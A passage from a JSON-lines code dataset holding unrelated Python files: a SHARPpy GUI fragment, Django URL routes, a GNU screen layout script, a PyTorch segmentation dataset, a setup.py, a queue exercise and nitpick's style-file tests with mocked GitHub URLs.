self.popupmenu.addAction(a)\n\n def showCursorMenu(self, pos):\n\n self.makeInsetMenu(self.left_inset, self.right_inset)\n if self.childAt(pos.x(), pos.y()) is self.right_inset_ob:\n self.inset_to_swap = \"RIGHT\"\n self.popupmenu.popup(self.mapToGlobal(pos))\n self.setFocus()\n\n elif self.childAt(pos.x(), pos.y()) is self.left_inset_ob:\n self.inset_to_swap = \"LEFT\"\n self.popupmenu.popup(self.mapToGlobal(pos))\n self.setFocus()\n\n def swapInset(self):\n ## This will swap either the left or right inset depending on whether or not the\n ## self.inset_to_swap value is LEFT or RIGHT.\n a = self.menu_ag.checkedAction()\n\n if self.inset_to_swap == \"LEFT\":\n if self.left_inset == \"WINTER\" and self.dgz:\n self.sound.setDGZ(False)\n self.dgz = False\n\n # Delete and re-make the inset. For some stupid reason, pyside/QT forces you to \n # delete something you want to remove from the layout.\n self.left_inset_ob.deleteLater()\n self.insets[self.left_inset] = SkewApp.inset_generators[self.left_inset](self.prof)\n\n self.left_inset = a.data()\n self.left_inset_ob = self.insets[self.left_inset]\n self.grid3.addWidget(self.left_inset_ob, 0, 2)\n self.config.set('insets', 'left_inset', self.left_inset)\n\n elif self.inset_to_swap == \"RIGHT\":\n if self.right_inset == \"WINTER\" and self.dgz:\n self.sound.setDGZ(False)\n self.dgz = False\n\n # Delete and re-make the inset. For some stupid reason, pyside/QT forces you to \n # delete something you want to remove from the layout.\n self.right_inset_ob.deleteLater()\n self.insets[self.right_inset] = SkewApp.inset_generators[self.right_inset](self.prof)\n\n self.right_inset = a.data()\n self.right_inset_ob = self.insets[self.right_inset]\n self.grid3.addWidget(self.right_inset_ob, 0, 3)\n self.config.set('insets', 'right_inset', self.right_inset)\n\n if a.data() == \"WINTER\":\n self.sound.setDGZ(True)\n self.dgz = True\n\n self.setFocus()\n self.update()\n","repo_name":"wxsailor/SHARPpy","sub_path":"sharppy/viz/SPCWindow.py","file_name":"SPCWindow.py","file_ext":"py","file_size_in_byte":21501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"12852464173","text":"from django.urls import path\nfrom .views import HomeBlogListView, HomeBlogDetailView, HomeBlogCreateView, HomeBlogDeleteView, HomeBlogUpdateView\n\nurlpatterns = [\n path('post/new/', HomeBlogCreateView.as_view(), name='post_new'),\n path('post//', HomeBlogDetailView.as_view(), name='post_detail'),\n path('post/update//', HomeBlogUpdateView.as_view(), name='post_update'),\n path('post/delete//', HomeBlogDeleteView.as_view(), name='post_delete'),\n path('', HomeBlogListView.as_view(), name='home'),\n]","repo_name":"hanscas/proyecto","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"42865310730","text":"import os\nimport sys\nimport GNUScreen as sc\nfrom util import tmpdir, tmpdir_source, remove\nfrom ScreenSaver import ScreenSaver\n\n\ndef nest_layout(session, src_layuot, dst_layout):\n src_dumpfile = os.path.join(tmpdir_source, 'nest_layout-dump-%d' % os.getpid())\n\n if not os.path.exists(tmpdir_source):\n os.makedirs(tmpdir_source)\n\n scs = ScreenSaver(session)\n\n print('layouts src: %s dst: %s' % (src_layout, dst_layout))\n\n regions_file_dst = regions_file = sc.dumpscreen_layout(scs.pid)\n regions_dst = sc.get_regions(regions_file)\n\n dst_focusminsize = \"%s %s\" % (regions_dst.focusminsize_x, regions_dst.focusminsize_y)\n dst_rsize = (int(regions_dst.regions[regions_dst.focus_offset][1]),\n int(regions_dst.regions[regions_dst.focus_offset][2]))\n dst_term_size = (int(regions_dst.term_size_x),\n int(regions_dst.term_size_y))\n scs.layout('select %s' % src_layout, False)\n\n scs.layout('dump %s' % src_dumpfile, False)\n\n regions_file_src = sc.dumpscreen_layout(scs.pid)\n regions_src = sc.get_regions(regions_file_src)\n\n src_term_size = (int(regions_src.term_size_x), int(regions_src.term_size_y))\n\n print ('dst_rsize: %s' % str(dst_rsize))\n print ('src_term_size: %s' % str(src_term_size))\n\n scs.layout('select %s' % dst_layout, False)\n \n regions_new = sc.Regions()\n regions_new.focus_offset = regions_dst.focus_offset + regions_src.focus_offset\n regions_new.term_size_x = regions_dst.term_size_x\n regions_new.term_size_y = regions_dst.term_size_y\n regions_new.focusminsize_x = regions_dst.focusminsize_x\n regions_new.focusminsize_y = regions_dst.focusminsize_y\n regions_new.regions = regions_dst.regions[:regions_dst.focus_offset]\n\n for (window, sizex, sizey) in regions_src.regions:\n print('SRC REGION' + str((window,sizex,sizey)))\n x = (int(sizex) * dst_rsize[0]) / src_term_size[0]\n y = (int(sizey) * dst_rsize[1]) / src_term_size[1]\n print( '%s * %d / %d = %d' % (sizex, dst_rsize[0], src_term_size[0], x))\n print( '%s * %d / %d = %d' % (sizey, dst_rsize[1], src_term_size[0], y))\n regions_new.regions.append((window, str(x), str(y)))\n\n regions_new.regions = regions_new.regions + regions_dst.regions[regions_dst.focus_offset+1:]\n \n print('destination regions: '+ str(regions_dst.regions))\n print('source regions: ' + str(regions_src.regions))\n print('new regions: ' + str(regions_new.regions))\n\n sc.layout_begin(session)\n sc.layout_load_dump(open(src_dumpfile, 'r'))\n sc.layout_load_regions(regions_new, None, dst_term_size[0], dst_term_size[1])\n sc.layout_end()\n\n remove(src_dumpfile)\n remove(regions_file_dst)\n remove(regions_file_src)\n sc.cleanup()\n\nif __name__ == '__main__':\n logfile = os.path.join(tmpdir, '___log_nest-layout')\n sys.stdout = open(logfile, 'w')\n sys.stderr = sys.stdout\n\n session = (sys.argv)[1]\n src_layout = (sys.argv)[2]\n\n scs = ScreenSaver(session)\n dst_layout = scs.get_layout_number()[0]\n\n nest_layout(session, src_layout, dst_layout)\n","repo_name":"skoneka/screen-session","sub_path":"ScreenSession/nest_layout.py","file_name":"nest_layout.py","file_ext":"py","file_size_in_byte":3087,"program_lang":"python","lang":"en","doc_type":"code","stars":96,"dataset":"github-code","pt":"75"} +{"seq_id":"31531103252","text":"from torch.utils.data.dataset import Dataset\nfrom torch.utils.data.dataloader import DataLoader\nimport torch\nimport torchvision\n\nimport cv2\nimport numpy as np\nimport albumentations as A\nimport matplotlib.pyplot as plt\nfrom pathlib import Path\n\n\nclass KvasirSegDataset(Dataset):\n\tdef __init__(self, root: str, transform=None):\n\t\tsuper(KvasirSegDataset, self).__init__()\n\t\tself.img_list = sorted([str(p) for p in (Path(root) / 'images').glob('*.jpg')])\n\t\tself.mask_list = sorted([str(p) for p in (Path(root) / 'masks').glob('*.jpg')])\n\t\tself.transform = transform\n\n\tdef __getitem__(self, item):\n\t\timg = cv2.imread(self.img_list[item])\n\t\timg = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\t\tmask = cv2.imread(self.mask_list[item])\n\t\tmask = cv2.cvtColor(mask, cv2.COLOR_BGR2GRAY)\n\t\tmask = (mask > 100).astype(np.uint8)\n\n\t\tif isinstance(self.transform, A.Compose):\n\t\t\taum = self.transform(image=img, mask=mask)\n\t\t\timg, mask = aum['image'], aum['mask'].unsqueeze(dim=0)\n\n\t\treturn {'image': img, 'mask': mask, 'path': self.img_list[item]}\n\n\tdef collate_fn(self, batch):\n\t\timgs = []\n\t\tmasks = []\n\t\tpaths = []\n\n\t\tfor data in batch:\n\t\t\tfor k, v in data.items():\n\t\t\t\tif k == 'image':\n\t\t\t\t\timgs += v.unsqueeze(0)\n\t\t\t\telif k == 'mask':\n\t\t\t\t\tmasks += v.unsqueeze(0)\n\t\t\t\telif k == 'path':\n\t\t\t\t\tpaths.append(v)\n\n\t\treturn {'images': torch.stack(imgs, 0), 'masks': torch.stack(masks, 0), 'paths': paths}\n\n\tdef __len__(self):\n\t\treturn len(self.img_list)\n\n\n\nclass TestKvasirSegDataset(Dataset):\n\tdef __init__(self, root: str, transform=None):\n\t\tsuper(TestKvasirSegDataset, self).__init__()\n\t\tself.img_list = sorted([str(p) for p in (Path(root) / 'images').glob('*.jpg')])\n\t\tself.transform = transform\n\n\tdef __getitem__(self, item):\n\t\timg = cv2.imread(self.img_list[item])\n\t\timg = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n\t\tif isinstance(self.transform, A.Compose):\n\t\t\taum = self.transform(image=img)\n\t\t\timg = aum['image']\n\n\t\treturn {'image': img, 'path': self.img_list[item]}\n\n\tdef collate_fn(self, batch):\n\t\timgs = []\n\t\tpaths = []\n\n\t\tfor data in batch:\n\t\t\tfor k, v in data.items():\n\t\t\t\tif k == 'image':\n\t\t\t\t\timgs += v.unsqueeze(0)\n\t\t\t\telif k == 'path':\n\t\t\t\t\tpaths.append(v)\n\n\t\treturn {'images': torch.stack(imgs, 0), 'paths': paths}\n\n\tdef __len__(self):\n\t\treturn len(self.img_list)\n\n\n\n","repo_name":"dosp0911/Polyps-Segmentation","sub_path":"Dataset.py","file_name":"Dataset.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"27359838694","text":"from os.path import dirname, join\n\nfrom setuptools import setup\n\nimport pp_role_mining\n\n\ndef read_file(filename):\n with open(join(dirname(__file__), filename)) as f:\n return f.read()\n\n\nsetup(\n name=pp_role_mining.__name__,\n version=pp_role_mining.__version__,\n description=pp_role_mining.__doc__.strip(),\n long_description=read_file('README.md'),\n long_description_content_type=\"text/markdown\",\n author=pp_role_mining.__author__,\n author_email=pp_role_mining.__author_email__,\n py_modules=[pp_role_mining.__name__],\n include_package_data=True,\n packages=['pp_role_mining'],\n url='https://github.com/m4jidRafiei/privacyAware-roleMining',\n license='GPL 3.0',\n install_requires=[\n 'pm4py==1.2.10',\n 'distributed==1.21.8',\n 'pycrypto==2.6.1',\n 'p_privacy_metadata==0.0.4',\n 'networkx==2.3',\n 'matplotlib==2.2.2',\n 'numpy==1.18.1',\n 'pyvis==0.1.4.1'\n ],\n project_urls={\n 'Source': 'https://github.com/m4jidRafiei/privacyAware-roleMining'\n }\n)\n","repo_name":"m4jidRafiei/privacyAware-roleMining","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13245217701","text":"from collections import deque\r\n\r\n\r\ncustomers = deque(list(map(int, input().split(\", \"))))\r\ndrive = input().split(\", \")\r\ndrivers = deque(list(map(int, drive[::-1])))\r\n\r\ntotal_time = 0\r\n\r\nwhile customers and drivers:\r\n customer = customers.popleft()\r\n driver = drivers.popleft()\r\n\r\n if driver >= customer:\r\n total_time += customer\r\n else:\r\n customers.appendleft(customer)\r\n\r\nif not customers:\r\n print(\"All customers were driven to their destinations\")\r\n print(f\"Total time: {total_time} minutes\")\r\nelif not drivers:\r\n customers = list(map(str, customers))\r\n print(\"Not all customers were driven to their destinations\")\r\n print(f\"Customers left: {', '.join(customers)}\")\r\n","repo_name":"asen-krasimirov/Python-Advanced-Course","sub_path":"1. Lists as Stacks and Queues/1.1. Exercises/Problem- Taxi Express.py","file_name":"Problem- Taxi Express.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26747118564","text":"\"\"\"Style tests.\"\"\"\nimport warnings\nfrom pathlib import Path\nfrom textwrap import dedent\nfrom unittest import mock\nfrom unittest.mock import PropertyMock\n\nimport pytest\nimport responses\nfrom furl import furl\n\nfrom nitpick.constants import PYPROJECT_TOML, READ_THE_DOCS_URL, SETUP_CFG, TOML_EXTENSION, TOX_INI\nfrom nitpick.style.fetchers.github import GitHubURL\nfrom nitpick.style.fetchers.pypackage import PythonPackageURL\nfrom nitpick.violations import Fuss\nfrom tests.helpers import SUGGESTION_BEGIN, SUGGESTION_END, ProjectMock, assert_conditions, tomlstring\n\n\n@pytest.mark.parametrize(\"offline\", [False, True])\ndef test_multiple_styles_overriding_values(offline, tmp_path):\n \"\"\"Test multiple style files with precedence (the latest ones overrides the previous ones).\"\"\"\n ProjectMock(tmp_path).named_style(\n \"isort1\",\n f\"\"\"\n [\"{SETUP_CFG}\".isort]\n line_length = 80\n known_first_party = \"tests\"\n xxx = \"aaa\"\n \"\"\",\n ).named_style(\n \"styles/isort2\",\n f\"\"\"\n [\"{SETUP_CFG}\".isort]\n line_length = 120\n xxx = \"yyy\"\n \"\"\",\n ).named_style(\n \"flake8\",\n f\"\"\"\n [\"{SETUP_CFG}\".flake8]\n inline-quotes = \"double\"\n something = 123\n \"\"\",\n ).named_style(\n \"black\",\n \"\"\"\n [\"pyproject.toml\".tool.black]\n line-length = 100\n something = 11\n \"\"\",\n ).pyproject_toml(\n \"\"\"\n [tool.nitpick]\n style = [\"isort1\", \"styles/isort2\", \"flake8.toml\", \"black\"]\n [tool.black]\n something = 22\n \"\"\"\n ).flake8(\n offline=offline\n ).assert_errors_contain(\n f\"\"\"\n NIP318 File pyproject.toml has missing values:{SUGGESTION_BEGIN}\n [tool.black]\n line-length = 100{SUGGESTION_END}\n \"\"\"\n ).assert_errors_contain(\n f\"\"\"\n NIP319 File pyproject.toml has different values. Use this:{SUGGESTION_BEGIN}\n [tool.black]\n something = 11{SUGGESTION_END}\n \"\"\"\n ).assert_errors_contain(\n f\"\"\"\n NIP321 File {SETUP_CFG} was not found. Create it with this content:{SUGGESTION_BEGIN}\n [flake8]\n inline-quotes = double\n something = 123\n\n [isort]\n line_length = 120\n known_first_party = tests\n xxx = yyy{SUGGESTION_END}\n \"\"\"\n ).cli_ls(\n f\"\"\"\n {SETUP_CFG}\n {PYPROJECT_TOML}\n \"\"\"\n )\n\n\n@pytest.mark.parametrize(\"offline\", [False, True])\ndef test_include_styles_overriding_values(offline, tmp_path):\n \"\"\"One style file can include another (also recursively).\n\n Ignore styles that were already included.\n \"\"\"\n ProjectMock(tmp_path).named_style(\n \"isort1\",\n f\"\"\"\n [nitpick.styles]\n include = \"styles/isort2.toml\"\n [\"{SETUP_CFG}\".isort]\n line_length = 80\n known_first_party = \"tests\"\n xxx = \"aaa\"\n \"\"\",\n ).named_style(\n \"styles/isort2\",\n f\"\"\"\n [nitpick.styles]\n include = [\"./isort2.toml\", \"../flake8.toml\"]\n [\"{SETUP_CFG}\".isort]\n line_length = 120\n xxx = \"yyy\"\n \"\"\",\n ).named_style(\n \"flake8\",\n f\"\"\"\n [nitpick.styles]\n include = [\"black.toml\"]\n [\"{SETUP_CFG}\".flake8]\n inline-quotes = \"double\"\n something = 123\n \"\"\",\n ).named_style(\n \"black\",\n \"\"\"\n [nitpick.styles]\n include = [\"styles/isort2.toml\", \"isort1.toml\"]\n [\"pyproject.toml\".tool.black]\n line-length = 100\n \"\"\",\n ).pyproject_toml(\n \"\"\"\n [tool.nitpick]\n style = \"isort1\"\n \"\"\"\n ).flake8(\n offline=offline\n ).assert_errors_contain(\n f\"\"\"\n NIP318 File pyproject.toml has missing values:{SUGGESTION_BEGIN}\n [tool.black]\n line-length = 100{SUGGESTION_END}\n \"\"\"\n ).assert_errors_contain(\n f\"\"\"\n NIP321 File {SETUP_CFG} was not found. Create it with this content:{SUGGESTION_BEGIN}\n [flake8]\n inline-quotes = double\n something = 123\n\n [isort]\n line_length = 120\n known_first_party = tests\n xxx = yyy{SUGGESTION_END}\n \"\"\"\n )\n\n\n@pytest.mark.parametrize(\"offline\", [False, True])\n@mock.patch(\"nitpick.flake8.NitpickFlake8Extension.version\", new_callable=PropertyMock(return_value=\"0.5.3\"))\ndef test_minimum_version(mocked_version, offline, tmp_path):\n \"\"\"Stamp a style file with a minimum required version, to indicate new features or breaking changes.\"\"\"\n assert_conditions(mocked_version == \"0.5.3\")\n ProjectMock(tmp_path).named_style(\n \"parent\",\n \"\"\"\n [nitpick.styles]\n include = \"child.toml\"\n [\"pyproject.toml\".tool.black]\n line-length = 100\n \"\"\",\n ).named_style(\n \"child\",\n \"\"\"\n [nitpick]\n minimum_version = \"1.0\"\n \"\"\",\n ).pyproject_toml(\n \"\"\"\n [tool.nitpick]\n style = \"parent\"\n [tool.black]\n line-length = 100\n \"\"\"\n ).flake8(\n offline=offline\n ).assert_single_error(\n \"NIP203 The style file you're using requires nitpick>=1.0 (you have 0.5.3). Please upgrade\"\n )\n\n\n@pytest.mark.parametrize(\"offline\", [False, True])\ndef test_relative_and_other_root_dirs(offline, tmp_path):\n \"\"\"Test styles in relative and in other root dirs.\"\"\"\n another_dir = tmp_path / \"another_dir\"\n project = (\n ProjectMock(tmp_path)\n .named_style(\n another_dir / \"main\",\n \"\"\"\n [nitpick.styles]\n include = \"styles/pytest.toml\"\n \"\"\",\n )\n .named_style(\n another_dir / \"styles/pytest\",\n \"\"\"\n [\"pyproject.toml\".tool.pytest]\n some-option = 123\n \"\"\",\n )\n .named_style(\n another_dir / \"styles/black\",\n \"\"\"\n [\"pyproject.toml\".tool.black]\n line-length = 99\n missing = \"value\"\n \"\"\",\n )\n .named_style(\n another_dir / \"poetry\",\n \"\"\"\n [\"pyproject.toml\".tool.poetry]\n version = \"1.0\"\n \"\"\",\n )\n )\n\n common_pyproject = \"\"\"\n [tool.black]\n line-length = 99\n [tool.pytest]\n some-option = 123\n \"\"\"\n\n # Use full path on initial styles\n project.pyproject_toml(\n f\"\"\"\n [tool.nitpick]\n style = [{tomlstring(another_dir / \"main\")}, {tomlstring(another_dir / \"styles/black\")}]\n {common_pyproject}\n \"\"\"\n ).flake8(offline=offline).assert_single_error(\n f\"\"\"\n NIP318 File pyproject.toml has missing values:{SUGGESTION_BEGIN}\n [tool.black]\n missing = \"value\"{SUGGESTION_END}\n \"\"\"\n )\n\n # Allow relative paths\n project.pyproject_toml(\n f\"\"\"\n [tool.nitpick]\n style = [{tomlstring(another_dir / \"styles/black\")}, \"./another_dir/poetry\"]\n {common_pyproject}\n \"\"\"\n ).flake8(offline=offline).assert_single_error(\n f\"\"\"\n NIP318 File pyproject.toml has missing values:{SUGGESTION_BEGIN}\n [tool.black]\n missing = \"value\"\n\n [tool.poetry]\n version = \"1.0\"{SUGGESTION_END}\n \"\"\"\n )\n\n\n@pytest.mark.parametrize(\"offline\", [False, True])\ndef test_symlink_subdir(offline, tmp_path):\n \"\"\"Test relative styles in subdirectories of a symlink dir.\"\"\"\n target_dir = tmp_path / \"target_dir\"\n ProjectMock(tmp_path).named_style(\n f\"{target_dir}/parent\",\n \"\"\"\n [nitpick.styles]\n include = \"styles/child.toml\"\n \"\"\",\n ).named_style(\n f\"{target_dir}/styles/child\",\n \"\"\"\n [\"pyproject.toml\".tool.black]\n line-length = 86\n \"\"\",\n ).create_symlink(\n \"symlinked-style.toml\", target_dir, \"parent.toml\"\n ).pyproject_toml(\n \"\"\"\n [tool.nitpick]\n style = \"symlinked-style\"\n \"\"\"\n ).flake8(\n offline=offline\n ).assert_single_error(\n f\"\"\"\n NIP318 File pyproject.toml has missing values:{SUGGESTION_BEGIN}\n [tool.black]\n line-length = 86{SUGGESTION_END}\n \"\"\"\n )\n\n\n@responses.activate\ndef test_relative_style_on_urls(tmp_path):\n \"\"\"Read styles from relative paths on URLs.\"\"\"\n base_url = \"http://www.example.com/sub/folder\"\n mapping = {\n \"main\": \"\"\"\n [nitpick.styles]\n include = \"presets/python.toml\"\n \"\"\",\n \"presets/python\": \"\"\"\n [nitpick.styles]\n include = [\n \"../styles/pytest.toml\",\n \"../styles/black.toml\",\n ]\n \"\"\",\n \"styles/pytest\": \"\"\"\n [\"pyproject.toml\".tool.pytest]\n some-option = 123\n \"\"\",\n \"styles/black\": \"\"\"\n [\"pyproject.toml\".tool.black]\n line-length = 99\n missing = \"value\"\n \"\"\",\n }\n for filename, body in mapping.items():\n responses.add(responses.GET, f\"{base_url}/{filename}.toml\", dedent(body), status=200)\n\n project = ProjectMock(tmp_path)\n\n common_pyproject = \"\"\"\n [tool.black]\n line-length = 99\n [tool.pytest]\n some-option = 123\n \"\"\"\n # Use full path on initial styles\n project.pyproject_toml(\n f\"\"\"\n [tool.nitpick]\n style = [\"{base_url}/main\"]\n {common_pyproject}\n \"\"\"\n ).api_check().assert_violations(\n Fuss(\n False,\n PYPROJECT_TOML,\n 318,\n \" has missing values:\",\n \"\"\"\n [tool.black]\n missing = \"value\"\n \"\"\",\n )\n )\n\n\n@responses.activate\ndef test_local_style_should_override_settings(tmp_path):\n \"\"\"Don't build relative URLs from local file names (starting with \"./\").\"\"\"\n remote_url = \"https://example.com/remote-style.toml\"\n remote_style = \"\"\"\n [\"pyproject.toml\".tool.black]\n line-length = 100\n \"\"\"\n responses.add(responses.GET, remote_url, dedent(remote_style), status=200)\n\n local_file = \"./local-file.toml\"\n local_style = \"\"\"\n [\"pyproject.toml\".tool.black]\n line-length = 120\n \"\"\"\n\n ProjectMock(tmp_path).pyproject_toml(\n f\"\"\"\n [tool.nitpick]\n style = [\n \"{remote_url}\",\n \"{local_file}\",\n ]\n\n [tool.black]\n line-length = 80\n \"\"\"\n ).named_style(local_file, local_style).api_check().assert_violations(\n Fuss(\n False,\n PYPROJECT_TOML,\n 319,\n \" has different values. Use this:\",\n \"\"\"\n [tool.black]\n line-length = 120\n \"\"\",\n )\n )\n\n\n@responses.activate\ndef test_fetch_private_github_urls(tmp_path):\n \"\"\"Fetch private GitHub URLs with a token on the query string.\"\"\"\n gh_url = \"https://github.com/user/private_repo/blob/branch/path/to/nitpick-style\"\n file_token = \"query-string-token-generated-by-github-for-private-files\"\n full_raw_url = f\"https://raw.githubusercontent.com/user/private_repo/branch/path/to/nitpick-style{TOML_EXTENSION}\"\n body = \"\"\"\n [\"pyproject.toml\".tool.black]\n missing = \"thing\"\n \"\"\"\n responses.add(responses.GET, full_raw_url, dedent(body), status=200)\n\n project = ProjectMock(tmp_path).pyproject_toml(\n f\"\"\"\n [tool.nitpick]\n style = \"{gh_url}?token={file_token}\"\n \"\"\"\n )\n project.flake8(offline=False).assert_single_error(\n f\"\"\"\n NIP318 File pyproject.toml has missing values:{SUGGESTION_BEGIN}\n [tool.black]\n missing = \"thing\"{SUGGESTION_END}\n \"\"\"\n )\n assert responses.calls[0].request.headers[\"Authorization\"] == f\"token {file_token}\"\n project.flake8(offline=True).assert_no_errors()\n\n\n@responses.activate\ndef test_fetch_private_github_urls_no_branch(tmp_path):\n \"\"\"Fetch private GitHub URLs with a token on the query string.\"\"\"\n file_token = \"query-string-token-generated-by-github-for-private-files\"\n gh_url = f\"gh://{file_token}@user/private_repo/path/to/nitpick-style\"\n api_url = \"https://api.github.com/repos/user/private_repo\"\n api_response = '{\"default_branch\": \"branch\"}'\n full_raw_url = f\"https://raw.githubusercontent.com/user/private_repo/branch/path/to/nitpick-style{TOML_EXTENSION}\"\n body = \"\"\"\n [\"pyproject.toml\".tool.black]\n missing = \"thing\"\n \"\"\"\n responses.add(responses.GET, api_url, api_response, status=200)\n responses.add(responses.GET, full_raw_url, dedent(body), status=200)\n\n project = ProjectMock(tmp_path).pyproject_toml(\n f\"\"\"\n [tool.nitpick]\n style = \"{gh_url}\"\n \"\"\"\n )\n project.flake8(offline=False).assert_single_error(\n f\"\"\"\n NIP318 File pyproject.toml has missing values:{SUGGESTION_BEGIN}\n [tool.black]\n missing = \"thing\"{SUGGESTION_END}\n \"\"\"\n )\n assert responses.calls[0].request.headers[\"Authorization\"] == f\"token {file_token}\"\n assert responses.calls[1].request.headers[\"Authorization\"] == f\"token {file_token}\"\n project.flake8(offline=True).assert_no_errors()\n\n\n@pytest.mark.parametrize(\n \"style_url\",\n [\n # Without commit reference (uses default branch)\n \"github://andreoliwa/nitpick/initial.toml\",\n \"gh://andreoliwa/nitpick/initial.toml\",\n # Explicit commit reference\n \"github://andreoliwa/nitpick@develop/initial.toml\",\n \"gh://andreoliwa/nitpick@develop/initial.toml\",\n # Regular GitHub URL\n \"https://github.com/andreoliwa/nitpick/blob/develop/initial.toml\",\n # Raw URL directly\n \"https://raw.githubusercontent.com/andreoliwa/nitpick/develop/initial.toml\",\n ],\n)\ndef test_github_url_without_token_has_no_authorization_header(style_url):\n \"\"\"Check private GitHub URLs with a token in various places are parsed correctly.\"\"\"\n parsed = GitHubURL.from_furl(furl(style_url))\n assert parsed.authorization_header is None\n\n\n@pytest.mark.parametrize(\n \"url\",\n [\n # Without commit reference (uses default branch)\n \"github://token@andreoliwa/nitpick/initial.toml\",\n \"gh://token@andreoliwa/nitpick/initial.toml\",\n # Explicit commit reference\n \"github://token@andreoliwa/nitpick@develop/initial.toml\",\n \"gh://token@andreoliwa/nitpick@develop/initial.toml\",\n # Regular GitHub URL\n \"https://token@github.com/andreoliwa/nitpick/blob/develop/initial.toml\",\n # Raw URL directly\n \"https://token@raw.githubusercontent.com/andreoliwa/nitpick/develop/initial.toml\",\n ],\n)\ndef test_github_url_with_fixed_userinfo_token_has_correct_authorization_header(url):\n \"\"\"Check private GitHub URLs with a token in various places are parsed correctly.\"\"\"\n parsed = GitHubURL.from_furl(furl(url))\n assert parsed.authorization_header == {\"Authorization\": \"token token\"}\n\n\n@pytest.mark.parametrize(\n \"url\",\n [\n # Without commit reference (uses default branch)\n \"github://$TOKEN@andreoliwa/nitpick/initial.toml\",\n \"gh://$TOKEN@andreoliwa/nitpick/initial.toml\",\n # Explicit commit reference\n \"github://$TOKEN@andreoliwa/nitpick@develop/initial.toml\",\n \"gh://$TOKEN@andreoliwa/nitpick@develop/initial.toml\",\n # Regular GitHub URL\n \"https://$TOKEN@github.com/andreoliwa/nitpick/blob/develop/initial.toml\",\n # Raw URL directly\n \"https://$TOKEN@raw.githubusercontent.com/andreoliwa/nitpick/develop/initial.toml\",\n ],\n)\ndef test_github_url_with_variable_userinfo_token_has_correct_authorization_header(url, monkeypatch):\n \"\"\"Check private GitHub URLs with a token in various places are parsed correctly.\"\"\"\n monkeypatch.setenv(\"TOKEN\", \"envvar-token\")\n parsed = GitHubURL.from_furl(furl(url))\n assert parsed.authorization_header == {\"Authorization\": \"token envvar-token\"}\n\n\n@pytest.mark.parametrize(\n \"url\",\n [\n # Without commit reference (uses default branch)\n \"github://andreoliwa/nitpick/initial.toml?token=$ENVVAR\",\n \"gh://andreoliwa/nitpick/initial.toml?token=$ENVVAR\",\n # Explicit commit reference\n \"github://andreoliwa/nitpick@develop/initial.toml?token=$ENVVAR\",\n \"gh://andreoliwa/nitpick@develop/initial.toml?token=$ENVVAR\",\n # Regular GitHub URL\n \"https://github.com/andreoliwa/nitpick/blob/develop/initial.toml?token=$ENVVAR\",\n # Raw URL directly\n \"https://raw.githubusercontent.com/andreoliwa/nitpick/develop/initial.toml?token=$ENVVAR\",\n # token in both userinfo and queryargs uses userinfo one\n \"github://$ENVVAR@andreoliwa/nitpick/initial.toml?token=$NOTUSED\",\n ],\n)\ndef test_github_url_with_variable_query_token_has_correct_authorization_header(url, monkeypatch):\n \"\"\"Check private GitHub URLs with a token in various places are parsed correctly.\"\"\"\n monkeypatch.setenv(\"ENVVAR\", \"envvar-token\")\n parsed = GitHubURL.from_furl(furl(url))\n assert parsed.authorization_header == {\"Authorization\": \"token envvar-token\"}\n\n\ndef test_github_url_with_missing_envvar_has_empty_authorization_header(monkeypatch):\n \"\"\"Environment var that doesn't exist is replaced with empty string.\"\"\"\n monkeypatch.delenv(\"MISSINGVAR\", raising=False)\n parsed = GitHubURL.from_furl(furl(\"https://github.com/foo/bar/blob/branch/filename.toml?token=$MISSINGVAR\"))\n assert parsed.authorization_header is None\n\n\ndef test_github_url_query_token_retains_other_queryparams():\n \"\"\"Querystring isn't modified by the token switcharoo.\"\"\"\n parsed = GitHubURL.from_furl(furl(\"https://github.com/foo/bar/blob/branch/filename.toml?leavemealone=ok\"))\n assert (\"leavemealone\", \"ok\") in parsed.url.query.params.items()\n parsed = GitHubURL.from_furl(\n furl(\"https://github.com/foo/bar/blob/branch/filename.toml?token=somevar&leavemealone=ok\")\n )\n assert parsed.authorization_header == {\"Authorization\": \"token somevar\"}\n assert (\"leavemealone\", \"ok\") in parsed.url.query.params.items()\n\n\n@responses.activate\ndef test_include_remote_style_from_local_style(tmp_path):\n \"\"\"Test include of remote style when there is only a local style.\"\"\"\n remote_style = \"https://raw.githubusercontent.com/user/repo/branch/path/to/nitpick-style\"\n url_with_extension = f\"{remote_style}{TOML_EXTENSION}\"\n body = \"\"\"\n [\"tox.ini\".section]\n key = \"value\"\n \"\"\"\n responses.add(responses.GET, url_with_extension, dedent(body), status=200)\n\n project = ProjectMock(tmp_path).style(\n f\"\"\"\n [nitpick.styles]\n include = [\n \"{remote_style}\"\n ]\n \"\"\"\n )\n project.assert_file_contents(TOX_INI, None).api_check_then_fix(\n Fuss(True, TOX_INI, 321, \" was not found. Create it with this content:\", \"[section]\\nkey = value\")\n ).assert_file_contents(\n TOX_INI,\n \"\"\"\n [section]\n key = value\n \"\"\",\n PYPROJECT_TOML,\n None,\n )\n\n\n@pytest.mark.parametrize(\"offline\", [False, True])\ndef test_merge_styles_into_single_file(offline, tmp_path):\n \"\"\"Merge all styles into a single TOML file on the cache dir.\n\n Also test merging lists (pre-commit repos).\n \"\"\"\n warnings.simplefilter(\"ignore\") # \"repos.yaml\" key\n ProjectMock(tmp_path).named_style(\n \"black\",\n '''\n [\"pyproject.toml\".tool.black]\n line-length = 120\n\n [[\".pre-commit-config.yaml\".repos]]\n yaml = \"\"\"\n - repo: https://github.com/psf/black\n rev: 21.5b2\n hooks:\n - id: black\n args: [--safe, --quiet]\n - repo: https://github.com/asottile/blacken-docs\n rev: v1.10.0\n hooks:\n - id: blacken-docs\n additional_dependencies: [black==21.5b2]\n \"\"\"\n ''',\n ).named_style(\n \"isort\",\n '''\n [\"setup.cfg\".isort]\n line_length = 120\n skip = \".tox,build\"\n known_first_party = \"tests\"\n\n # The configuration below is needed for compatibility with black.\n # 